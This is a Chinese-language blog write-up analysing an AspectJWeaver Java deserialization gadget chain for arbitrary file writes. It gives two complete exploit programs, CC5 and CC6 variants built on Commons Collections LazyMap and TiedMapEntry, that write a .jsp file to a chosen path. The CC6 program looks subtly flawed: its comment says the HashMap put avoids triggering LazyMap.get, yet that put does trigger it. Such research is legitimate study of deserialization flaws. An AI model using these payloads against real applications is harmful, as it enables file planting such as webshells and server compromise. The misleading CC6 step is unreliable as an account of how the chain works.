目录
简介
原理分析
EXP
CC5改链
CC6改链
简介
pom依赖:
<dependency><groupId>org.aspectj</groupId><artifactId>aspectjweaver</artifactId><version>1.9.2</version>
</dependency>
AspectJWeaver 是 AspectJ 框架的一部分,是一个用于实现面向切面编程(AOP)的工具。AspectJWeaver 提供了在 Java 程序中使用 AspectJ 的功能,并通过字节码操纵技术来织入切面代码到应用程序的目标类中。
这篇文章不聊怎么任意利用文件写入进而来RCE,只学习一下如何利用AspectJWeaver通过反序列化来进行任意文件写入。
原理分析
这条链也很简单粗暴
我们主要来看关键类SimpleCache$StoreableCachingMap
从顾名思义的角度,推测"StoreableCachingMap" 可能是一个对对象进行存储和缓存的映射结构的名称。它可能实现了一种将对象存储在内部数据结构中,并使用某种策略(例如时间戳、最近最少使用等)进行缓存管理的方式。
注意到SimpleCache类的内部类StoreableCachingMap是一个继承HashMap的类。
private static class StoreableCachingMap extends HashMap {private String folder;private static final String CACHENAMEIDX = "cache.idx";private long lastStored = System.currentTimeMillis();private static int DEF_STORING_TIMER = 60000;private int storingTimer;private transient Trace trace;
其构造方法在创建对象时接收文件夹路径和存储计时器的值,并将它们保存到对象的状态中,同时调用了一个初始化方法来确保对象的正确设置。
private StoreableCachingMap(String folder, int storingTimer) {this.folder = folder;this.initTrace();this.storingTimer = storingTimer;}
关注到这个类重写了HashMap#put
public Object put(Object key, Object value) {try {String path = null;byte[] valueBytes = (byte[])((byte[])value);if (Arrays.equals(valueBytes, SimpleCache.SAME_BYTES)) {path = "IDEM";} else {path = this.writeToPath((String)key, valueBytes);}Object result = super.put(key, path);this.storeMap();return result;}
这段代码的功能是将键值对添加到映射中。根据 value
的不同情况,可能会将路径设置为 "IDEM" 或使用 writeToPath
方法将键和值写入到某个路径中。然后,将键和路径添加到映射中,并将映射数据存储到持久化存储中。最后,返回添加结果。
那个条件判断就是检查 valueBytes
是否与 SimpleCache.SAME_BYTES
相等。如果相等,说明 value
是一个特定的字节数组(SimpleCache.SAME_BYTES
),则将 path
设置为 "IDEM"。
SimpleCache.SAME_BYTES为下面的这个值
private static final byte[] SAME_BYTES = "IDEM".getBytes();
一通分析显然会进到else,跟进writeToPath
private String writeToPath(String key, byte[] bytes) throws IOException {String fullPath = this.folder + File.separator + key;FileOutputStream fos = new FileOutputStream(fullPath);fos.write(bytes);fos.flush();fos.close();return fullPath;}
这段代码的功能是将字节数组写入到指定路径的文件中。它创建一个文件输出流对象,将字节数组写入到文件中,然后刷新输出流并关闭它。最后,返回写入的文件的完整路径。
在return fullPath处设断,注意到写入以及取到的文件路径就是由this.folder,File.separator和key拼接而成的
到这一步我们可以总结一下,通过调用StoreableCachingMap#put就可写入任意文件
问题来到了,put该由谁触发呢?
其实要触发StoreableCachingMap#put,就是要触发HashMap#put
到了这一点,就不难联想到LazyMap.get()的经典逻辑:
根据给定的键 key
从映射中获取对应的值。如果映射中已经包含了该键,则直接返回对应的值;如果映射中不包含该键,则通过 factory
对象的 transform
方法生成对应的值,并将键值对添加到映射中,然后返回该值。
只要令传入的map为StoreableCachingMap即可触发StoreableCachingMap#put
而value的值也是我们通过ConstantTransformer可控的,如果key也可控,那么文件内容和路径都将由我们为所欲为
public Object get(Object key) {if (!this.map.containsKey(key)) {Object value = this.factory.transform(key);this.map.put(key, value);return value;} else {return this.map.get(key);}}
在我们之前接触的链子里,有一个很经典的CC5/CC6的TiedMapEntry触发LazyMap.get(),也有CC1的AnnotationInvocationHandler动态代理触发LazyMap.get(),但遗憾的是CC1get传入的key是调用的method,我们不可控,所以不能用于改链。
EXP
CC5改链
package com.AspectJWeaver;import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class AspectJWeaver {public static void main(String[] args) throws Exception {// 反射获取构造函数Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);con.setAccessible(true);// 实例化对象HashMap map = (HashMap)con.newInstance("C:", 1);// 这里用到ConstantTransformer是为了构造value,即写入文件的值ConstantTransformer transform = new ConstantTransformer("Z3r4y".getBytes(StandardCharsets.UTF_8));// 返回一个LazyMap对象Map outmap = LazyMap.decorate(map,transform);// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法TiedMapEntry tiedmap = new TiedMapEntry(outmap,"Users\\21135\\Desktop\\RuoYi-v4.7.1\\AspectJWeaver\\1.jsp");// 这里是为了序列化时不触发LazyMap的get方法BadAttributeValueExpException poc = new BadAttributeValueExpException(null);Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");val.setAccessible(true);val.set(poc,tiedmap);// 序列化ByteArrayOutputStream out = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(out);oos.writeObject(poc);System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));// 反序列化ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}
}
CC6改链
package com.AspectJWeaver;import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;public class AspectJWeaver {public static void main(String[] args) throws Exception {// 反射获取构造函数Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);con.setAccessible(true);// 实例化对象HashMap map = (HashMap)con.newInstance("C:", 1);// 这里用到ConstantTransformer是为了构造value,即写入文件的值ConstantTransformer transform = new ConstantTransformer("Z3r4y".getBytes(StandardCharsets.UTF_8));// 返回一个LazyMap对象Map outmap = LazyMap.decorate(map,transform);// 利用TiedMapEntry和BadAttributeValueExpException,使反序列化BadAttributeValueExpException对象的时候触发LazyMap的get方法TiedMapEntry tiedmap = new TiedMapEntry(outmap,"Users\\21135\\Desktop\\RuoYi-v4.7.1\\AspectJWeaver\\1.jsp");// 这里是为了序列化时不触发LazyMap的get方法Map expMap = new HashMap();expMap.put(tiedmap, "xxx");// 序列化ByteArrayOutputStream out = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(out);oos.writeObject(expMap);System.out.println(Base64.getEncoder().encodeToString(out.toByteArray()));// 反序列化ByteArrayInputStream in = new ByteArrayInputStream(out.toByteArray());ObjectInputStream ois = new ObjectInputStream(in);ois.readObject();}
}
成功写入